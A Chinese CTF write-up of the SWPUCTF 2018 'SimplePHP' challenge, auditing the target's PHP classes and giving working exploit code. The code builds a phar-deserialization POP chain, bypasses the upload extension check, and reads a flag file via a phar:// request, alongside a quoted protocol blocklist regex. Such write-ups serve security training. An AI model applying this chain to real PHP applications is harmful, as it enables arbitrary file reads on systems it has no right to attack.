[SWPUCTF 2018]SimplePHP

平台:buuoj.cn

打开靶机有上传和查看文件功能
[SWPUCTF 2018]SimplePHP_第1张图片
观察到查看文件url
[SWPUCTF 2018]SimplePHP_第2张图片
可以直接读取文件内容
[SWPUCTF 2018]SimplePHP_第3张图片
将各个文件源码复制下来主要有以下文件
[SWPUCTF 2018]SimplePHP_第4张图片

考点:phar文件上传

先来看class.php,有三个类
C1e4r类对象创建时$name传递给$str,对象销毁时$str->$test并输出$test

class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

show类对象创建时$file传递给$source并输出,对象被转化为字符串时访问$source传递给content并返回,给未定义属性赋值时将$value传递给$key_show__wakeup过滤了一些协议

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

Test类
创建对象时$params转化为数组,当调用未定义的属性或没有权限访问的属性时__get方法触发,调用get函数,get函数的$key传递给file_get函数的$value,file_get函数再将$value经过file_get_contents函数处理和base64编码传递给$test并输出。

class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

分析完我们应当是想通过file_get_content来读取我们想要的文件,也就是调用file_get函数,之前分析得知__get->get->file_get,所以关键是触发__get方法,那么就要外部访问一个Test类没有或不可访问的属性,我们注意到前面Show类的__tostring方法

    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }

访问对象的souce属性,而Test类中是没有这个属性的,让它来访问Test即可触发__get方法,那么现在的问题变成了__tostring的触发,看C1e4r类中的__destruct

    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }

echo出test正好可以触发__tostring
整个pop链就是C1e4r::destruct() -> Show::toString() -> Test::__get()
exp:


class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;

}

$a = new C1e4r();
$b = new Show();
$c = new Test();
$c->params['source'] = "/var/www/html/f1ag.php";//目标文件
$a->str = $b;   //触发__tostring
$b->str['str'] = $c;  //触发__get;


$phar = new Phar("exp.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('');
$phar->setMetadata($a); //触发头是C1e4r类
$phar->addFromString("exp.txt", "test"); //生成签名
$phar->stopBuffering();

?>

上传提示无效,再看一下源码发现限制了上传后缀
$allowed_types = array("gif","jpeg","jpg","png");
那么抓包改一下后缀绕过就行,随便一个,反正上传之后文件名都会改
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
[SWPUCTF 2018]SimplePHP_第5张图片
上传成功之后可以在upload目录下看到上传的文件
[SWPUCTF 2018]SimplePHP_第6张图片
复制下文件名,用phar协议触发使得phar文件生效
phar://upload/8adc336297a3d5eb2550edc08aa372a8.jpg
那么现在看在哪传,看到file.php
[SWPUCTF 2018]SimplePHP_第7张图片
file_exists检查文件或目录是否存在,存在则调用_show函数,也就是class.php中的_show
[SWPUCTF 2018]SimplePHP_第8张图片
这样,就highlight_file出了传递出的f1ag.php
构造
file.php?file=phar://upload/8adc336297a3d5eb2550edc08aa372a8.jpg
get请求得到base编码
[SWPUCTF 2018]SimplePHP_第9张图片
解码即得flag
[SWPUCTF 2018]SimplePHP_第10张图片

你可能感兴趣的:(代码审计,ctf)